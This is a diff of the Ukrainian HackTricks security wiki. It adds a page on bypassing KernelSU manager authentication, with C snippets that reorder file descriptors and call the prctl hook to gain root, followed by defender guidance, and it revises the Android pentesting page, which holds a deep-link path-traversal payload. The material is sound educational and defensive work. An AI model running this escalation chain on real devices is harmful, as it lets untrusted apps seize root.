{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,190 @@
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
{{#include ../../banners/hacktricks-training.md}}
Фрейми для рутування, такі як KernelSU, APatch, SKRoot та Magisk, часто патчать ядро Linux/Android і відкривають привілейовану функціональність для непривабливого користувацького "менеджера" через підключений syscall. Якщо крок аутентифікації менеджера має недоліки, будь-який локальний додаток може отримати доступ до цього каналу та підвищити привілеї на вже рутованих пристроях.
Ця сторінка узагальнює техніки та підводні камені, виявлені в публічних дослідженнях (зокрема, аналіз Zimperium v0.5.7) для допомоги як червоним, так і синім командам у розумінні поверхонь атаки, примітивів експлуатації та надійних заходів пом'якшення.
---
## Архітектурний шаблон: syscall-підключений канал менеджера
- Ядровий модуль/патч підключає syscall (зазвичай prctl) для отримання "команд" з користувацького простору.
- Протокол зазвичай виглядає так: magic_value, command_id, arg_ptr/len ...
- Користувацький додаток менеджера спочатку проходить аутентифікацію (наприклад, CMD_BECOME_MANAGER). Як тільки ядро позначає виклик як довірений менеджер, приймаються привілейовані команди:
- Надати root виклику (наприклад, CMD_GRANT_ROOT)
- Керувати списками дозволів/заборон для su
- Налаштувати політику SELinux (наприклад, CMD_SET_SEPOLICY)
- Запитати версію/конфігурацію
- Оскільки будь-який додаток може викликати syscalls, правильність аутентифікації менеджера є критично важливою.
Приклад (дизайн KernelSU):
- Підключений syscall: prctl
- Magic value для перенаправлення до обробника KernelSU: 0xDEADBEEF
- Команди включають: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT тощо.
---
## Потік аутентифікації KernelSU v0.5.7 (як реалізовано)
Коли користувацький простір викликає prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU перевіряє:
1) Перевірка префікса шляху
- Наданий шлях повинен починатися з очікуваного префікса для UID виклику, наприклад, /data/data/<pkg> або /data/user/<id>/<pkg>.
- Посилання: core_hook.c (v0.5.7) логіка перевірки префікса шляху.
2) Перевірка власності
- Шлях повинен належати UID виклику.
- Посилання: core_hook.c (v0.5.7) логіка власності.
3) Перевірка підпису APK через сканування таблиці FD
- Ітерація відкритих дескрипторів файлів (FD) викликаючого процесу.
- Вибір першого файлу, шлях якого відповідає /data/app/*/base.apk.
- Парсинг підпису APK v2 та перевірка проти офіційного сертифіката менеджера.
- Посилання: manager.c (ітерація FD), apk_sign.c (перевірка APK v2).
Якщо всі перевірки проходять, ядро тимчасово кешує UID менеджера та приймає привілейовані команди з цього UID до скидання.
---
## Клас вразливості: довіра до "першого відповідного APK" з ітерації FD
Якщо перевірка підпису прив'язується до "першого відповідного /data/app/*/base.apk", знайденого в таблиці FD процесу, насправді вона не перевіряє власний пакет виклику. Зловмисник може попередньо розмістити легітимно підписаний APK (справжнього менеджера) так, щоб він з'являвся раніше в списку FD, ніж їх власний base.apk.
Ця довіра через непрямий зв'язок дозволяє непривабливому додатку видавати себе за менеджера, не володіючи ключем підпису менеджера.
Ключові властивості, що експлуатуються:
- Сканування FD не прив'язується до ідентичності пакета виклику; воно лише співпадає з рядками шляху.
- open() повертає найнижчий доступний FD. Закриваючи спочатку дескриптори з нижчими номерами, зловмисник може контролювати порядок.
- Фільтр лише перевіряє, що шлях відповідає /data/app/*/base.apk не те, що він відповідає встановленому пакету виклику.
---
## Передумови атаки
- Пристрій вже рутовано з вразливим фреймом для рутування (наприклад, KernelSU v0.5.7).
- Зловмисник може виконувати довільний непривабливий код локально (процес Android-додатку).
- Справжній менеджер ще не пройшов аутентифікацію (наприклад, відразу після перезавантаження). Деякі фрейми кешують UID менеджера після успіху; ви повинні виграти гонку.
---
## Контур експлуатації (KernelSU v0.5.7)
Кроки на високому рівні:
1) Створіть дійсний шлях до каталогу даних вашого додатку, щоб задовольнити перевірки префікса та власності.
2) Переконайтеся, що справжній базовий APK KernelSU менеджера відкритий на дескрипторі з нижчим номером, ніж ваш власний base.apk.
3) Викличте prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) для проходження перевірок.
4) Видавайте привілейовані команди, такі як CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY для збереження підвищення.
Практичні зауваження щодо кроку 2 (порядок FD):
- Визначте FD вашого процесу для вашого власного /data/app/*/base.apk, пройшовши через символьні посилання /proc/self/fd.
- Закрийте низький FD (наприклад, stdin, fd 0) і спочатку відкрийте легітимний APK менеджера, щоб він займав fd 0 (або будь-який індекс нижчий за ваш власний base.apk fd).
- Упакуйте легітимний APK менеджера з вашим додатком, щоб його шлях задовольняв наївний фільтр ядра. Наприклад, розмістіть його під підшляхом, що відповідає /data/app/*/base.apk.
Приклад фрагментів коду (Android/Linux, ілюстративно лише):
Перелічте відкриті FD, щоб знайти записи base.apk:
```c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
```
Примусьте FD з нижчим номером вказувати на легітимний APK менеджера:
```c
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
```
Менеджер аутентифікації через prctl хук:
```c
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
Після успіху, команди з привілегіями (приклади):
- CMD_GRANT_ROOT: підвищити поточний процес до root
- CMD_ALLOW_SU: додати ваш пакет/UID до списку дозволених для постійного su
- CMD_SET_SEPOLICY: налаштувати політику SELinux відповідно до підтримки фреймворку
Порада щодо гонки/постійності:
- Зареєструйте приймач BOOT_COMPLETED в AndroidManifest (RECEIVE_BOOT_COMPLETED), щоб запуститися рано після перезавантаження та спробувати аутентифікацію до реального менеджера.
---
## Рекомендації щодо виявлення та пом'якшення
Для розробників фреймворків:
- Прив'язати аутентифікацію до пакета/UID виклику, а не до довільних FD:
- Визначити пакет виклику за його UID та перевірити його підпис проти встановленого пакета (через PackageManager), а не скануючи FD.
- Якщо тільки ядро, використовуйте стабільну ідентичність виклику (task creds) та перевіряйте на стабільному джерелі правди, керованому init/userspace helper, а не процесами FD.
- Уникайте перевірок префіксів шляху як ідентичності; їх легко задовольнити викликом.
- Використовуйте засновану на nonce перевірку-відповідь через канал та очищайте будь-яку кешовану ідентичність менеджера при завантаженні або на ключових подіях.
- Розгляньте аутентифікований IPC на основі binder замість перевантаження загальних системних викликів, коли це можливо.
Для захисників/синьої команди:
- Виявляйте наявність фреймворків для рутування та процесів менеджера; моніторте виклики prctl з підозрілими магічними константами (наприклад, 0xDEADBEEF), якщо у вас є телеметрія ядра.
- На керованих флотах, блокуйте або сповіщайте про приймачі завантаження з ненадійних пакетів, які швидко намагаються виконати команди менеджера з привілегіями після завантаження.
- Переконайтеся, що пристрої оновлені до виправлених версій фреймворку; анулюйте кешовані ID менеджера при оновленні.
Обмеження атаки:
- Торкається лише пристроїв, які вже рутовані з вразливим фреймворком.
- Зазвичай вимагає перезавантаження/вікно гонки перед тим, як легітимний менеджер аутентифікується (деякі фреймворки кешують UID менеджера до скидання).
---
## Пов'язані нотатки по фреймворках
- Аутентифікація на основі паролів (наприклад, історичні версії APatch/SKRoot) може бути слабкою, якщо паролі можна вгадати/зламати або перевірки мають помилки.
- Аутентифікація на основі пакета/підпису (наприклад, KernelSU) є сильнішою в принципі, але повинна бути прив'язана до фактичного виклику, а не до непрямих артефактів, таких як сканування FD.
- Magisk: CVE-2024-48336 (MagiskEoP) показав, що навіть зрілі екосистеми можуть бути вразливими до підробки ідентичності, що призводить до виконання коду з root в контексті менеджера.
---
## Посилання
- [Zimperium The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
- [KernelSU v0.5.7 manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
- [KernelSU apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
- [KernelSU project](https://kernelsu.org/)
- [APatch](https://github.com/bmax121/APatch)
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
- [MagiskEoP CVE-2024-48336](https://github.com/canyie/MagiskEoP)
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Пентестинг Android-додатків
# Тестування безпеки Android-додатків
{{#include ../../banners/hacktricks-training.md}}
@ -12,7 +12,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Це основний інструмент, який вам потрібен для підключення до android-пристрою (емульованого або фізичного).\
Це основний інструмент, який вам потрібен для підключення до Android-пристрою (емульованого або фізичного).\
**ADB** дозволяє контролювати пристрої як через **USB**, так і через **мережу** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
Ознайомтеся з наступним списком [**команд ADB**](adb-commands.md), щоб дізнатися, як використовувати adb.
@ -25,8 +25,8 @@ android-applications-basics.md
## Інші цікаві трюки
- [Спуфінг вашого місцезнаходження в Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-основний доступ без root)](shizuku-privileged-api.md)
- [Експлуатація ненадійних механізмів оновлення в додатку](insecure-in-app-update-rce.md)
- [Shizuku Privileged API (привілейований доступ без root на основі ADB)](shizuku-privileged-api.md)
- [Експлуатація ненадійних механізмів оновлення в додатках](insecure-in-app-update-rce.md)
- [Зловживання службами доступності (Android RAT)](accessibility-services-abuse.md)
- **Завантажити APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Витягти APK з пристрою:
@ -54,9 +54,13 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Статичний аналіз
По-перше, для аналізу APK вам слід **ознайомитися з Java-кодом** за допомогою декомпілера.\
По-перше, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
### Пошук цікавої інформації
@ -69,13 +73,13 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Основи розуміння програми - Manifest.xml, strings.xml
**Вивчення файлів _Manifest.xml_ та _strings.xml_ програми може виявити потенційні вразливості безпеки**. Ці файли можна отримати за допомогою декомпілерів або перейменувавши розширення файлу APK на .zip, а потім розпакувавши його.
**Дослідження файлів _Manifest.xml_ та **_strings.xml_** програми може виявити потенційні вразливості безпеки**. Ці файли можна отримати за допомогою декомпілерів або перейменувавши розширення файлу APK на .zip, а потім розпакувавши його.
**Вразливості**, виявлені з **Manifest.xml**, включають:
**Вразливості**, виявлені з **Manifest.xml** включають:
- **Дебаговані програми**: Програми, які встановлені як дебаговані (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють з'єднання, які можуть призвести до експлуатації. Для подальшого розуміння того, як експлуатувати дебаговані програми, зверніться до посібника з пошуку та експлуатації дебагованих програм на пристрої.
- **Налаштування резервного копіювання**: Атрибут `android:allowBackup="false"` повинен бути явно встановлений для програм, що працюють з чутливою інформацією, щоб запобігти несанкціонованим резервним копіям даних через adb, особливо коли увімкнено налагодження USB.
- **Безпека мережі**: Налаштування безпеки мережі (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як пін-коди сертифікатів та налаштування HTTP-трафіку. Наприклад, дозволяючи HTTP-трафік для певних доменів.
- **Безпека мережі**: Налаштування безпеки мережі (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як пін-коди сертифікатів та налаштування HTTP-трафіку. Прикладом є дозволення HTTP-трафіку для певних доменів.
- **Експортовані активності та сервіси**: Виявлення експортованих активностей та сервісів у маніфесті може підкреслити компоненти, які можуть бути зловживані. Подальший аналіз під час динамічного тестування може виявити, як експлуатувати ці компоненти.
- **Постачальники контенту та FileProviders**: Відкриті постачальники контенту можуть дозволити несанкціонований доступ або модифікацію даних. Конфігурацію FileProviders також слід ретельно перевірити.
- **Отримувачі трансляцій та URL-схеми**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як управляються URL-схеми для вразливостей введення.
@ -85,7 +89,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію до програми жертви.\
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію до програми жертви.\
Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії в програмі жертви**.
Знайдіть більше інформації в:
@ -96,7 +100,7 @@ tapjacking.md
### Викрадення завдань
**Активність** з **`launchMode`**, встановленим на **`singleTask` без визначеного `taskAffinity`**, вразлива до викрадення завдань. Це означає, що **програму** можна встановити, і якщо її запустити перед реальною програмою, вона може **викрасти завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
**Активність** з **`launchMode`**, встановленим на **`singleTask`** без визначеного `taskAffinity`, вразлива до викрадення завдань. Це означає, що **програму** можна встановити, і якщо її запустити перед реальною програмою, вона може **викрасти завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
Більше інформації в:
@ -108,12 +112,12 @@ android-task-hijacking.md
**Внутрішнє зберігання**
В Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
У Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
1. **Статичний аналіз:**
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
2. **Динамічний аналіз:**
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис по всьому світу**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження або наміру, **читати або модифікувати** ці файли.
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
**Зовнішнє зберігання**
@ -127,7 +131,7 @@ android-task-hijacking.md
3. **Обробка даних з зовнішнього зберігання**:
- Завжди **виконуйте валідацію введення** на даних, отриманих з зовнішнього зберігання. Це важливо, оскільки дані походять з ненадійного джерела.
- Зберігання виконуваних файлів або класів на зовнішньому зберіганні для динамічного завантаження категорично не рекомендується.
- Якщо ваша програма повинна отримувати виконувані файли з зовнішнього зберігання, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є життєво важливим для підтримки цілісності безпеки вашої програми.
- Якщо ваша програма повинна отримувати виконувані файли з зовнішнього зберігання, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є важливим для підтримки цілісності безпеки вашої програми.
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -154,7 +158,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**Слабкі процеси управління ключами**
Деякі розробники зберігають чутливі дані у локальному сховищі та шифрують їх за допомогою ключа, закодованого в коді або передбачуваного. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
Деякі розробники зберігають чутливі дані у локальному сховищі та шифрують їх ключем, закодованим у коді або передбачуваним. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
**Використання ненадійних та/або застарілих алгоритмів**
@ -162,15 +166,15 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
### Інші перевірки
- Рекомендується **обфускувати APK**, щоб ускладнити реверс інженерії для зловмисників.
- Якщо додаток є чутливим (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи мобільний пристрій є рутованим**, і діяти відповідно.
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
- Якщо додаток є чутливим (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій зrootований**, і діяти відповідно.
- Якщо додаток є чутливим (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
- Якщо додаток є чутливим (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK.
### React Native Application
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до коду javascript додатків React:
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до коду javascript React додатків:
{{#ref}}
react-native-application.md
@ -223,7 +227,7 @@ content-protocol.md
## Динамічний аналіз
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому рутований пристрій (емулятор чи ні) є надзвичайно рекомендованим.
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому дуже рекомендується використовувати пристрій з root-доступом (емулятор або ні).
### Онлайн динамічний аналіз
@ -239,7 +243,7 @@ content-protocol.md
#### Використання емулятора
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створити **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності повільного емулятора arm).
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні x86** версії **підтримують ARM бібліотеки** без необхідності повільного емулятора arm).
- Дізнайтеся, як налаштувати його на цій сторінці:
{{#ref}}
@ -256,11 +260,11 @@ avd-android-virtual-device.md
![](<../../images/image (277).png>)
Також зверніть увагу, що в **конфігурації Android VM в Genymotion** ви можете вибрати **Bridge Network mode** (це буде корисно, якщо ви будете підключатися до Android VM з іншої VM з інструментами).
Також зверніть увагу, що в **налаштуваннях Android VM в Genymotion** ви можете вибрати **Bridge Network mode** (це буде корисно, якщо ви будете підключатися до Android VM з іншої VM з інструментами).
#### Використання фізичного пристрою
Вам потрібно активувати **опції налагодження**, і було б добре, якщо ви зможете **рутнути** його:
Вам потрібно активувати **опції налагодження**, і було б добре, якщо ви зможете **root** його:
1. **Налаштування**.
2. (З Android 8.0) Виберіть **Система**.
@ -269,13 +273,13 @@ avd-android-virtual-device.md
5. Поверніться назад, і ви знайдете **Опції розробника**.
> Після того, як ви встановили додаток, перше, що вам слід зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **дізнатися, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
### Ненавмисний витік даних
**Журналювання**
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
Розробники повинні бути обережними, щоб не публічно розкривати **інформацію для налагодження**, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
> [!WARNING]
> Зверніть увагу, що з **пізніми версіями Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
@ -283,30 +287,30 @@ avd-android-virtual-device.md
**Кешування буфера копіювання/вставки**
Фреймворк Android на основі **буфера обміну** дозволяє функціональність копіювання-вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих частин програми, таких як дані кредитних карток, щоб запобігти витоку даних.
Фреймворк Android на основі **буфера обміну** дозволяє функціональність копіювання-вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих розділів програми, таких як дані кредитних карток, щоб запобігти витоку даних.
**Журнали аварій**
Якщо додаток **виникає аварія** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
Як пентестер, **спробуйте переглянути ці журнали**.
Як пентестер, **слідкуйте за цими журналами**.
**Дані аналітики, надіслані третім особам**
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неналежну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається будь-яка чутлива інформація третім особам.
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація до сторонніх сервісів.
### SQLite БД
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які створюються, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які створені, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`.
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще є **вразливістю**.
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще **вразливість**.
Перелічте таблиці, використовуючи `.tables`, і перелічте стовпці таблиць, виконуючи `.schema <table_name>`.
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`.
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного спілкування (IPC) Android і взаємодіяти з основною операційною системою.\
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного спілкування (IPC) Android і взаємодіяти з основною операційною системою.\
Drozer є корисним інструментом для **експлуатації експортованих активностей, експортованих сервісів та постачальників контенту**, як ви дізнаєтеся в наступних розділах.
### Експлуатація експортованих активностей
@ -340,7 +344,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати несподівані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
### Експлуатація постачальників контенту - доступ до чутливої інформації та її маніпуляція
### Експлуатація постачальників контенту - Доступ до чутливої інформації та її маніпуляція
[**Прочитайте це, якщо хочете освіжити знання про постачальника контенту.**](android-applications-basics.md#content-provider)\
Постачальники контенту в основному використовуються для **обміну даними**. Якщо у програми є доступні постачальники контенту, ви можете **витягти чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **перетворення шляхів**, оскільки вони можуть бути вразливими.
@ -363,7 +367,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
Приймач трансляцій буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
[**Дізнайтеся, як експлуатувати приймачі трансляцій за допомогою Drozer.**](#exploiting-broadcast-receivers)
### **Експлуатація схем / глибоких посилань**
### **Експлуатація схем / Глибоких посилань**
Ви можете шукати глибокі посилання вручну, використовуючи інструменти, такі як MobSF, або скрипти, як [цей](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Ви можете **відкрити** оголошену **схему** за допомогою **adb** або **браузера**:
@ -379,7 +383,7 @@ _Зверніть увагу, що ви можете **пропустити ім
```
**Код, що виконується**
Щоб знайти **код, який буде виконуватись в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
Щоб знайти **код, який буде виконуватися в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
@ -390,7 +394,7 @@ _Зверніть увагу, що ви можете **пропустити ім
**Параметри в шляху**
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
